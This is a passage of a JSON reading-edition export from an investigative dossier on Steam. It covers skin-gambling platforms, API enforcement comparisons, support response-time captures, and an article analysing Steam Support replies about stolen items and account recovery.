                "~150K — 250K / mo\nGlobal multi-language audience",
                "Multi-Million Annual Volume\nHigh-velocity roulette and crash games",
                "Offshore operational entities\nRoutes Steam auth via steam-login.authtofast.com",
                "Target of July 2016 C&D; never discontinued operations; active in 2026"
              ],
              [
                "CSGOPolygon\ncsgopolygon.com / plg.bet",
                "~300K — 500K / mo\nCIS and Eastern European dominance",
                "Multi-Million Annual Volume\nCrypto & skin roulette, match betting",
                "Second-wave target (Oct 2016)\nPivoted to cryptocurrency with mirror domain plg.bet",
                "Survived a full decade; continues skin liquidation via third-party APIs"
              ]
            ]
          },
          {
            "id": "table-8",
            "caption": "",
            "rows": [
              [
                "Enforcement Dimension",
                "GitHub API Rules",
                "Steam Web API (Valve)"
              ],
              [
                "1. Compliance Neutrality",
                "Published, uniform rules. Documented rate limits (e.g. 5,000 calls/hr for authenticated users, 15,000/hr for GitHub Enterprise Cloud organisations) and published acceptable-use policies apply to every account.",
                "No published criteria. Individual accounts are terminated under the automation and commercial-use clauses (archived complaints), while no per-operator enforcement record for commercial platforms has been published."
              ],
              [
                "2. OpenID / Auth Proxy Abuse",
                "GitHub's published policies allow OAuth apps and tokens to be suspended or revoked for abuse, and its documentation describes automatic revocation of exposed tokens (authors' summary of GitHub documentation).",
                "Separate-domain auth hosts observed in Steam OpenID flows (e.g. rbsnin.com, howl.uno, sc-auth.net) returned no Link Filter block on 2026-09-21 while their main domains did."
              ],
              [
                "3. Monetization of Abuse",
                "GitHub takes no transaction fee on items moved by third-party automation; its revenue model is subscriptions and marketplace listings.",
                "Valve sells the case keys that produce the items, and the Community Market charges a combined fee of about 15% on sales completed inside the Market. No figure for revenue attributable to third-party platforms is estimated here."
              ],
              [
                "4. Evasion Loop Lifespans",
                "Suspended OAuth client IDs stop working platform-wide at suspension; the documentation does not publish a time-to-action figure and none is assumed here.",
                "Separate-domain auth hosts with registration dates from 2011 to September 2026 returned no Link Filter block in the checks of 2026-09-19 and 2026-09-21. Registration date is a lower bound on possible use, not proof of continuous use."
              ]
            ]
          },
          {
            "id": "table-9",
            "caption": "Every archived capture, as published",
            "rows": [
              [
                "Capture",
                "Refunds / day",
                "Refund response",
                "Recovery / day",
                "Recovery response"
              ],
              [
                "2018-02-03",
                "98,788",
                "50.12 minutes to 1.52 hours",
                "25,662",
                "2.51 hours to 1.80 days"
              ],
              [
                "2018-05-07",
                "60,494",
                "53.83 minutes to 1.47 days",
                "24,226",
                "2.45 hours to 2.22 days"
              ],
              [
                "2018-08-02",
                "69,084",
                "50.27 minutes to 1.59 hours",
                "28,953",
                "2.44 hours to 22.17 hours"
              ],
              [
                "2018-11-03 (cs)",
                "63,410",
                "49.28 minutes to 1.54 hours",
                "33,910",
                "2.42 hours to 1.31 days"
              ],
              [
                "2019-02-01",
                "76,305",
                "50.13 minutes to 1.52 hours",
                "35,164",
                "2.44 hours to 2.04 days"
              ],
              [
                "2019-05-18",
                "78,951",
                "51.03 minutes to 3.12 hours",
                "27,514",
                "2.46 hours to 20.39 hours"
              ],
              [
                "2019-09-07",
                "78,941",
                "50.65 minutes to 1.66 hours",
                "28,812",
                "2.42 hours to 13.59 hours"
              ],
              [
                "2019-12-13",
                "69,589",
                "50.77 minutes to 1.55 hours",
                "25,322",
                "2.45 hours to 1.13 days"
              ],
              [
                "2020-03-25 (fr)",
                "139,278",
                "49.45 minutes to 1.53 hours",
                "32,302",
                "2.48 hours to 3.62 days"
              ],
              [
                "2020-06-26",
                "278,504",
                "48.98 minutes to 2.29 hours",
                "20,343",
                "2.39 hours to 6.99 hours"
              ],
              [
                "2020-10-21",
                "107,633",
                "50.80 minutes to 1.54 hours",
                "20,688",
                "15.33 minutes to 8.62 hours"
              ],
              [
                "2021-03-20",
                "158,956",
                "50.80 minutes to 1.64 hours",
                "25,760",
                "2.34 hours to 11.62 hours"
              ],
              [
                "2021-06-26",
                "547,907",
                "51.93 minutes to 6.73 hours",
                "29,728",
                "2.40 hours to 15.63 hours"
              ],
              [
                "2021-10-10",
                "170,103",
                "51.88 minutes to 3.25 hours",
                "23,989",
                "2.39 hours to 13.05 hours"
              ],
              [
                "2022-01-31",
                "354,386",
                "53.65 minutes to 8.09 hours",
                "24,391",
                "2.42 hours to 15.29 hours"
              ],
              [
                "2022-05-09",
                "172,555",
                "51.83 minutes to 1.65 hours",
                "23,289",
                "2.41 hours to 16.90 hours"
              ],
              [
                "2022-09-05",
                "153,453",
                "53.67 minutes to 4.15 hours",
                "23,594",
                "2.45 hours to 1.22 days"
              ],
              [
                "2022-12-08",
                "181,075",
                "54.83 minutes to 6.67 hours",
                "27,111",
                "2.46 hours to 18.89 hours"
              ],
              [
                "2026-02-01",
                "317,762",
                "50.30 minutes to 1.52 hours",
                "47,197",
                "10.91 hours to 21.30 hours"
              ],
              [
                "2026-05-09",
                "246,776",
                "50.12 minutes to 1.52 hours",
                "35,264",
                "5.81 hours to 15.60 hours"
              ],
              [
                "2026-08-10",
                "373,244",
                "52.05 minutes to 2.07 hours",
                "45,319",
                "8.73 hours to 16.52 hours"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit.json",
          "sha256": "032b565dadee8fa2bb53df900095f830106757cd5ab3f41d938fb9ca689fff14",
          "bytes": 287518
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-all-results.json",
          "sha256": "dccd36ecd7f6a71c48b5e7311a5a694291d56b28a1960cdc779ad462782e3d68",
          "bytes": 5483
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/master_registry.json",
          "sha256": "2dca0a100af26cf98feb3f23b5b0d94bf69557d47d2a7e6028696e3e9f9a4413",
          "bytes": 23516
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/rollbit.com.json",
          "sha256": "a0605cadb17c906735bed0340ec1acf7b56e545652a232dd9ad7a2ead1302b80",
          "bytes": 1547
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skin.club.json",
          "sha256": "a381f06c7c1e067397ca2411b2c8ba18ecb42934255779dafd6f09a079c6dc64",
          "bytes": 1542
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/howl.gg.json",
          "sha256": "336752610fe73971eaa3500659c02849852e02d02859ef5310f97c902a63947c",
          "bytes": 1993
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/duelbits.com.json",
          "sha256": "a73224b260677e6a5325802cdee56dad176f10d56780a7fdf38bd55e95796d9f",
          "bytes": 1662
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csgofast.com.json",
          "sha256": "77a95b7a652e2f188091e706f6e4294bdfc9332914193ad75e85ebf3ccb8d6d4",
          "bytes": 2189
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/farmskins.com.json",
          "sha256": "dcbf2fb9c7076396cb4f8dfc759188aef446994bc816251715f859254a918d4e",
          "bytes": 2089
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/cobaltlab.tech.json",
          "sha256": "521a37ab14cebadd7412444f0efbbad2cc08eb8bf66936d2662282c0e7eaa535",
          "bytes": 1668
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csgo.net.json",
          "sha256": "d2707c86373d9ad3480a0befac6e5a42d3a226f8759426f4b8d8e2097b61fa30",
          "bytes": 2048
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/ggdrop.com.json",
          "sha256": "c091ba7fc717fbba902b0a2e27db0b8fcc95a23857178d01351bbde11889cdfc",
          "bytes": 1576
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/rustchance.com.json",
          "sha256": "5a2fb32d9f5484b6eba6755f3c32e4fab33b47df4d75db072084714326378450",
          "bytes": 1659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skin.fans.json",
          "sha256": "24a235c0176c973739ebd4bbe8276db7ecfc69829c2749fa041066b6b5c99947",
          "bytes": 1711
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skinport.com.json",
          "sha256": "d5389fd48effad640e09908edcc23f4e76c2934170ea517527225d376a2e6763",
          "bytes": 2053
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skins.cash.json",
          "sha256": "34b7b2bb298292ae07f691b44514ec7285bce265e183e39fe69e13ffc035bb06",
          "bytes": 1652
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/tf2hunt.com.json",
          "sha256": "e394d8111e895867c5bfa9c66f7e001f56631e24a735d955b2845a7eafdfa849",
          "bytes": 2046
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22.json",
          "sha256": "78fb27f08dae7f89e3f32ddf2d117ae3648468ea9cef4cdcd946a8872efe6051",
          "bytes": 4668
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csgoempire.com.json",
          "sha256": "e227f2f424b7df542f184684e0605f12495b5bda8f0d6720684517a701b1cb47",
          "bytes": 1573
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/cs.money.json",
          "sha256": "b06545d4a03ae98c3dce98b45435cf7d9da545496ed7e3d9ab37eb2aee30c07c",
          "bytes": 1556
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csfloat.com.json",
          "sha256": "26a0c574c5f6e27b64ba7de07c686a453d46ae9fc55e7f650d87cf129303a28b",
          "bytes": 1503
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/g4skins.com.json",
          "sha256": "e40126b3294b6940d100162ca291db61c4e6d283fdedaa8b9045622411c9b374",
          "bytes": 1637
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/juice.gg.json",
          "sha256": "e673df165806e2e6f30690f25d83f76679d88e78039933685e807b5ae87c674f",
          "bytes": 1691
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/market.csgo.com.json",
          "sha256": "80fda3b7ebfe4e512ce3f4658c6b29824d909f4194f5d2574916686ac36de638",
          "bytes": 2002
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/rust.tm.json",
          "sha256": "7448ebc7c5426b074df067bda0391b8406bd026d7aef64eb96e236448cf12211",
          "bytes": 1613
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/skinbaron.de.json",
          "sha256": "d1e94f5fc1319ed0a0e19a8e74330dfd219a42de4010ccfef7a2fda074dd4291",
          "bytes": 1661
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/tf2royal.com.json",
          "sha256": "419f844ad7ea7fb6144cd42ec33f5aacb4656e277d005b50f3a19ace08717ae0",
          "bytes": 2066
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/tradeit.gg.json",
          "sha256": "82cfcad0eb9535fbd11af613e3e3d564149a1880470f125e7e0bb99d5b6f22d8",
          "bytes": 1681
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/upgrader.pro.json",
          "sha256": "8ff7311331e4d812714c1d194c67ef3371f1e6eda498f7514f441a02d36474a5",
          "bytes": 1601
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-recheck-2026-09-21.json",
          "sha256": "cab78e0c4e9987bd2440222795db5a06b35d6bb767631129bf5270c49ff509e5",
          "bytes": 29569
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/domain-registration.json",
          "sha256": "6bad2fe36db3dd5e0bdf6bcce60d3705027601c830c14cf3c7ea85046f223d2e",
          "bytes": 347003
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/wayback-snapshots.json",
          "sha256": "cfb789fa536886faca595503ac2cf40cb10de345373f9ee2f1cfe51a9141304d",
          "bytes": 15348
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22c.json",
          "sha256": "77e0fa9bb774c6107ab2aa1c1f9a8b252f71ba43afc8ed7bad1074a817bf9850",
          "bytes": 4096
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/hackerone-reports.json",
          "sha256": "ba2aa87bdc2374dca2cc3ced92c10db5ea3f0755a3e1f110ad4ec05147740ce3",
          "bytes": 1639
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/methodology.txt",
          "sha256": "42d02ddb50961ca8f81bba18fd6a6c57931490e8ccab1fd9174cee5f8454e707",
          "bytes": 4336
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/summary.json",
          "sha256": "653a1b345b834b2cb94d4aa08fcfa7d06435c0c6afb5a557c6e6519d7d9fa295",
          "bytes": 5663
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/longitudinal-steam-phishing-audit.json",
          "sha256": "10458bb946dc84658d50a965e0d50843d7af2c137c7cb963ffe29bc5a379e03d",
          "bytes": 14965
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-steam-phishing-100.json",
          "sha256": "22f05b08ce60b7cf2c87a0d7691f3c5c6648878ad33b19928556dfa876e1bbf4",
          "bytes": 34711
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-coverage-2026-09-22.json",
          "sha256": "d86060b64be55d8c447740d119c75d7428898ecc332e58e3ebe62ff0242dd629",
          "bytes": 1946
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/platform-audit.json",
          "sha256": "8b50aee05950dda741b198b89a300ec573dfa6fe5424bb19a0bd1795f5a1f540",
          "bytes": 192211
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/platforms-removed.json",
          "sha256": "608caf7bc7bbbe73d8481475b298b9646d52df0521f8092303d1fb50e7d8c136",
          "bytes": 11010
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/wsgc-skins-gambling-briefing-2018.pdf",
          "sha256": "fe17c1681469807d9f938ba826ca674b299838651e9028b8f0de228499922b11",
          "bytes": 1180176
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/wsgc-briefing-manifest.json",
          "sha256": "3a687cdce104fe61a998f57d07d9473c6e184ced55caad1ee8bb5704df913ef9",
          "bytes": 829
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/csfloat-catalogue.json",
          "sha256": "739aebc209ac25adc4057a9054392e3eddf34a7514c4ae5018391de952a8f375",
          "bytes": 67875
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/priceempire-marketplaces.json",
          "sha256": "85dbbd55ffc041a4b464f919388c99a7ec481e73a542b4f5efbbf947c524c0c5",
          "bytes": 13659
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-atlas.json",
          "sha256": "eb5655a8c913bfb1e9ac9ff7077ebe6e1cbfbd2c966aebbb9dd4a6aeac60af83",
          "bytes": 758388
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-manifest.json",
          "sha256": "ac6f818ec475994f41df11d2d186589aa2f563bb80803225c4acb31e1895e1ba",
          "bytes": 6675
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/skinport-floor-over-cap.json",
          "sha256": "a2dfdd9bb46416558865fc6568a945b73eac648875643335815120ac01a1d5ec",
          "bytes": 22191
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/outsourcing-archive-records.json",
          "sha256": "a827850bb8c4708783d4e8135c6e58a544237375d9805e18ecd12ed594a7df6d",
          "bytes": 19771
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/screenshot-manifest.json",
          "sha256": "82ce194d71cc7155755fbfb1fd0c3ccee686556b818e84900a7769a0e50368af",
          "bytes": 851
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/regulatory-review/disclosure-audit.json",
          "sha256": "971a37262865935b4057cc84f26c07fdf22b77006643e84eb21a99b18e124bc1",
          "bytes": 154697
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/selected-evidence-records.json",
          "sha256": "6463d995c36d6e1c2e94bed96da41c71d478bc52ecf02e99ec48987b6ebbaeda",
          "bytes": 22467
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/archive_manifest.json",
          "sha256": "44aa479e8bae9c102951031b3cf08750add5ee3c157e2222ecaf595969f99aff",
          "bytes": 651
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/part2-measurements.json",
          "sha256": "490ad2e810d32671c20635e935a327508e036fee103ff7f4e88377b83f7d297a",
          "bytes": 5161
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/VALVE_EVIDENCE_PACK/databases/TOTAL_VALVE_SCANDALS_MASTER_DB.csv",
          "sha256": "9aaab7297369011867eb39578f5045bdb737566a91a9c88766dd01814b36a240",
          "bytes": 25116549
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/support-collection-2026-10-17/manifest.json",
          "sha256": "0796b32a9c2355d0edfc3070667b01632398b77e3205e934469066e87935f5fd",
          "bytes": 10177
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "support_canned_refusals",
      "language": "en",
      "title": "Steam Support: Replies, Recovery & Refusals — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals",
      "source_file": "steam_dossier/support_canned_refusals.html",
      "source_html_sha256": "d8235dfde38e13bf59e853770320cf709eb047478744c7647c584fbc6a792332",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "support_canned_refusals.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/support_canned_refusals.pdf",
        "sha256": "a431d12484f5eadcc782921ad7772a3aef3b410680e6b1664a25c80817c76f56",
        "bytes": 1913898,
        "pages": 13
      },
      "integrity": {
        "signed_object": "support_canned_refusals.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/support_canned_refusals.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/support_canned_refusals.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nEvidence file S-01 / Steam Support\nUpdated 18 October 2026\nAfter the loss. Read the reply.\n\nRecovery decisions, restoration refusals and closed requests. Put the support wording beside the reported outcome, then follow it back to the source.\n\n9,051\n\ncollected rows · 17 October 2026\n\n2,961\nTier A\nresponse material\n6,090\nTier B\nincident reports\n\nThe collector’s tiers describe the material supplied. Rows are not unique victims or independently authenticated tickets.\n\n01 / A new entry in the recovery record\nThe authenticator was removed. The request was disputed.\n\nA ticket image published on 13 October 2026 adds a concrete sequence to the dossier’s question: who can reset the safeguards, and what evidence do they accept?\n\nThe published exchange first asks for a registered CD key. After the requester says they did not retain one, a support reply says ownership has been verified and the authenticator removed.\n\n“I've removed the authenticator from your account.”\n\nA later message challenges the request: This request was not made by me, my login was hacked. It asks support not to change the email address and to explain how a third party could remove two-factor authentication.\n\nPublished account & ticket ↗\nRead the support-access investigation →\nPublished ticket image. Account, payment and staff identifiers were already covered in the supplied image. The full image preserves those redactions.\n29 Sep · 2:43pm\nRemoval requested\n\nThe requester describes a changed phone and a missing recovery code.\n\n29 Sep · 6:27pm\nA CD key is requested\n\nSupport asks for the registered key and an image of it.\n\n30 Sep · 6:50am\nAuthenticator removed\n\nAfter a reassessment, support says ownership was verified.\n\n30 Sep · 12:24pm\nThe request is challenged\n\nA later message says the request was unauthorized.\n\nThe poster identifies the first requester as an attacker. The image records the exchange, but does not authenticate the participants or reveal checks performed outside it. It does not establish staff complicity or a completed inventory theft. A related cross-post is also present in Tier B; it is not an additional victim. Times above are those shown in the image, with no timezone specified.\n\n02 / The response and its limits\nWhat the reply actually records.\n\nSix ticket images have been read for these selected examples. Each full capture remains available. Their wording supports specific observations; the surrounding allegations need their own evidence.\n\nPublished ticket image. The preview isolates the support reply. The full capture also includes the player's request.\nDota 2 · published 14 July 2020\nA reported theft. An economic reason for refusal.\n\nThe player reports losing items after changing their password and following support guidance. The reply acknowledges removal without permission, refuses restoration, and invokes duplication, scarcity and the item economy.\n\n“Steam Support does not restore scammed, lost, or stolen items for any reason.”\n\nThis is a published reply image. It does not establish the attack vector, the inventory value, or whether the account-security advice was followed successfully.\n\nRead the source publication ↗\nPublished ticket image. The preview crops the Steam desktop frame. The full capture is available for context.\nCS:GO · capture displays 23 April 2020\nThe substituted trade is described in the reply.\n\nSupport describes a compromiser observing and cancelling a trade offer, copying the intended partner's profile and sending a replacement offer. The same exchange refuses item restoration.\n\n“Unfortunately, we do not restore items in accordance with Steam's Item Restoration Policy.”\n\nThe visible account describes trade substitution. This image alone does not prove that an API key, rather than another form of account access, enabled it. The date comes from the capture, not a verified publication timestamp.\n\nRead the source publication ↗\nPublished ticket image. The full image includes the reply and the closed-request notice.\nCommunity Market · published 21 January 2025\nUnauthorized use acknowledged. The request closed.\n\nA reply dated 20 January acknowledges that the account was used without permission, says Market activity cannot be reversed, directs the user to report through the Community, and announces closure of the request. A closed-request notice is visible below it.\n\n“Since there's not much more that I can say or do to be of help with this particular issue, I am going to close this help request.”\n\nThe image supports the wording and closure shown. It does not establish the value lost or the mechanism of unauthorized access. This Market reply predates the current CS2 Trade Protection system.\n\nRead the source publication ↗\nPublished ticket image. The complete supplied reply is shown.\nMarket enforcement · published 8 September 2025\nItems removed. The account unlocked with a warning.\n\nThe reply alleges that inflated-price sales involved fraudulent funds. It records the removal of items, games and Wallet funds, refuses their restoration, and says the account has been unlocked with a final warning.\n\n“We have removed items and games added to the account since these transactions as well as any remaining fraudulent wallet funds.”\n\nThis is a recorded enforcement action and a partial resolution, not evidence that the fraud allegation was correct. It should not be counted as a simple refusal to help.\n\nRead the source publication ↗\nRepeated restoration wording\n“does not restore scammed, lost, or stolen items”\n\n22 Tier A report rows · 18 source groups, including one local reference without a public URL\n\nInspect the matching rows →\nRepeated closure wording\n“I am going to close this help request”\n\n6 Tier A report rows · 6 normalized source URLs\n\nInspect the matching rows →\n\nThese are literal phrase matches in the collected support-text field, after normalizing whitespace and case. Policy pages, login text and search snippets are excluded from these counts. Repeated wording establishes reuse of language; it does not by itself establish that a bot handled a request.\n\n03 / Keep the differences in the record\nRestoration, deletion and reversal are different decisions.\n\nThe collection includes positive outcomes and statements of discretion. Counting every row as a refusal would erase that evidence.\n\nTeam Fortress 2 · reply displays 2 September\nDeleted items: a reply describes discretion.\n“We consider item restorations requests on a case-by-case basis”\n\nIn response to a question about deleted items, support describes case-by-case consideration and a typical 14-day window. The reply says support cannot explain the reason for the policy.\n\nThis concerns deleted items, not items transferred to another account. It is a statement about possible consideration, not proof that this player received a restoration. The supplied record does not establish the year.\n\nSource publication ↗\nInspect the full image ↗\nSelected detail. The full image and its source remain linked above.\nCS:GO · published 29 September 2015\nThe collection also records a restoration.\n“We have made an exception to our item restoration policy in this case”\n\nThe poster reports that a VAC ban was removed and items returned after an account compromise. The text quotes a support reply describing an exception to the restoration policy and reversal of actions taken during the compromise.\n\nThis is a quotation in a public post, not a ticket image inspected here. It describes a historical exception and does not establish a current entitlement or the frequency of restorations.\n\nSource publication ↗\nRead older replies against the current product.\n\nSteam’s item-restoration policy and its Trade Protection rules cover different mechanisms. The latter currently provides a seven-day reversal window for eligible CS2 trades. It should not be generalized to Community Market transactions, TF2 deleted items, every game, or older screenshots. See the dossier’s comparison of protection across three games →\n\n04 / Source register\nSearch the collection. Open the source.\n\nStart with Tier A report rows, or switch to Tier B and the policy material. Grouping combines repeated source URLs without pretending they are independent cases.\n\nTitles, summaries, tags and transcriptions are collection material. The selected readings above have an additional editorial note. The default view separates policy pages and obvious non-case material from report rows.\n\nSearch all 9,051 collection rows, inspect source groups and download filtered records online.\n\n05 / Count what was supplied\nA collection of records. Not a count of victims.\n\nCollection dated 17 October 2026; integrated and counted on 18 October. The original archive is preserved with a SHA-256 fingerprint. Public reading files omit private contact details and credentials where detected.\n\nTier A: 2,961 rows. The collector labels 2,375 as quoted text, 571 as screenshot material and 15 as template matches. Of these rows, 2,935 contain non-empty support text. These labels do not authenticate the reply or prove the accompanying allegation.\n\nTier B: 6,090 rows. Reports and other incident material that did not qualify for the collector’s Tier A. A user’s description is not a quotation or admission by Valve.\n\n8,252 distinct supplied source references; 7,965 normalized source groups across A+B. Grouping resolves relative Reddit links, removes tracking and language variants and normalizes thread URLs. Different URLs may still describe the same event.\n9,030 rows have a public source URL. We resolved 44 relative Reddit paths. The other 21 rows cite local collection files and are explicitly marked as lacking a public source link; their paths are not published. These local references remain separate groups.\n641 distinct image files were supplied. Six selected ticket images are reproduced here; other records retain links to their original publications.\n223 policy-context rows, 20 login-page rows and 2 search-result rows are retained as context, outside the default report view. This is a limited source-type check, not a claim that every remaining row is relevant or verified.\n5,727 Tier L leads are separate. They do not contribute to the 9,051-row total or the phrase counts. Reverse-image matches and search leads require verification and can repeat a single image.\nDates are not interchangeable. Register dates use valid supplied publication timestamps. A screenshot’s visible date or a ban expiry, including 2038 dates, is not silently treated as an incident date.\nWhy these counts differ from the supplied inventory\n\nThe delivered Tier A files contain 2,619 distinct values in the source field and 2,440 distinct non-empty support-text values. Its HTML exhibit file references 539 distinct image paths. The inventory text lists lower totals for these measures. Source fields include both web addresses and local references. This page uses counts recomputed from the delivered files, keeps their definitions explicit, and does not use either set as a count of independent cases.\n\nOriginal collection tags · row counts, including context\nTopic\tTier A\tTier B\nItem restoration\t860\t544\nBan disputes\t834\t609\nAccount recovery\t507\t724\nReported theft\t378\t3,158\nClosed or unanswered requests\t266\t755\nTransaction reversals\t79\t29\nAPI-key complaints\t22\t220\nAuthenticator removal\t15\t51\nTotal\t2,961\t6,090\n\nThe tags are inherited from the collector. For example, a restoration tag can contain a policy page or an exception. Read the source and the selected annotations before drawing a conclusion.\n\nTake the record with you.\nAll A+B rows · CSV ↓Reading dataset · JSON ↓Counts & file hashes ↗Tier L research leads · CSV ↓\n\nThe exports preserve source IDs, links, collector tiers and tags. They contain the public reading fields, not an unredacted copy of every scraped page. The earlier 1,505-row support collection remains available as a separate historical file; the two totals are not added together.\n\nOriginal archive SHA-256\n54ae8632e3336df320b13cf5e8a09d50f428681563fdb15c810b8dd569b79b59",
        "headings": [
          {
            "level": 1,
            "text": "After the loss. Read the reply.",
            "anchor": "pd-support_canned_refusals--support-title",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#support-title"
          },
          {
            "level": 2,
            "text": "The authenticator was removed. The request was disputed.",
            "anchor": "pd-support_canned_refusals--recovery-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#recovery-heading"
          },
          {
            "level": 2,
            "text": "What the reply actually records.",
            "anchor": "pd-support_canned_refusals--replies-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#replies-heading"
          },
          {
            "level": 3,
            "text": "A reported theft. An economic reason for refusal.",
            "anchor": "pd-support_canned_refusals--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#restoration-policy-reply"
          },
          {
            "level": 3,
            "text": "The substituted trade is described in the reply.",
            "anchor": "pd-support_canned_refusals--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#trade-substitution-reply"
          },
          {
            "level": 3,
            "text": "Unauthorized use acknowledged. The request closed.",
            "anchor": "pd-support_canned_refusals--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#market-request-closed"
          },
          {
            "level": 3,
            "text": "Items removed. The account unlocked with a warning.",
            "anchor": "pd-support_canned_refusals--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#market-removal-and-unlock"
          },
          {
            "level": 2,
            "text": "Restoration, deletion and reversal are different decisions.",
            "anchor": "pd-support_canned_refusals--exceptions-heading",
            "source_url": "https://phishdestroy.io/steam_dossier/support_canned_refusals#exceptions-heading"
          },
          {
            "level": 3,
